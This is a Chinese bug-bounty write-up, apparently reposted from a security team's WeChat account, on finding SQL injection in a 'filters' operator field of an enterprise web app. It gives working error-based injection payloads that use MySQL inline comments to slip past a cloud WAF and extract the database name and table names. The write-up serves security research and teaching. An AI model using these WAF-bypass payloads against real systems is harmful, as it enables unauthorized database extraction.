本文属于OneTS安全团队成员carrypan的原创文章，转载请声明出处！本文章仅用于学习交流使用，因利用此文信息而造成的任何直接或间接的后果及损失，均由使用者本人负责，OneTS安全团队及文章作者不为此承担任何责任。
0x00 第一回合
日常抓包，点点点，抓到如下请求与响应，一眼看上去也太像sql注入了
等号换成like可以初步绕过，但是服务端没有返回数据
疯狂尝试，都没戏，目光转移到orderBy参数处，但结果也一样，最后放置了一段时间，回过头来仔细分析了下，将注意点放在filters参数里
"filters":[["loginName","like","%%' and '1'like'1"]]
Filters里有三个数据，盲猜第一个是列名，第二个是运算符，第三个是数值
数值那块尝试了，有某云WAF，暂无法利用，将目光转向运算符位置
那么直接拼接到运算符处呢？结果服务端返回了正确的数据
经过一段时间的摸索，发现系统存在异常日志记录，比如
有回显的，首先想到报错注入，经尝试发现空格、关键字会被waf识别，直接内联注释绕过，最终poc如下
like'%admin%'and(extractvalue/*!50000*/(1,concat/*!50000*/(0x7e,database())))or
执行完poc，去系统异常日志查看执行结果，获取库名：meeting
like'%admin%'and(extractvalue/*!50000*/(1,concat/*!50000*/(0x7e,(/*!50000select*/table_name/*!50000from*/(/*!50000information_schema.tables*/)/*!50000where*//*!50000table_schema*/='meeting' limit 0,1))))or
193个表，看到用户表sys_person，盲猜存在password字段
密码应该是32位md5加密的，src规则仅提供获取数据证明即可，点到为止。
原文始发于微信公众号（OneTS安全团队）：某企业SRC的两次WAF的对抗
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
点赞
https://cn-sec.com/archives/3467195.html
复制链接
复制链接
-
左青龙
- 微信扫一扫
-
-
右白虎
- 微信扫一扫
-
评论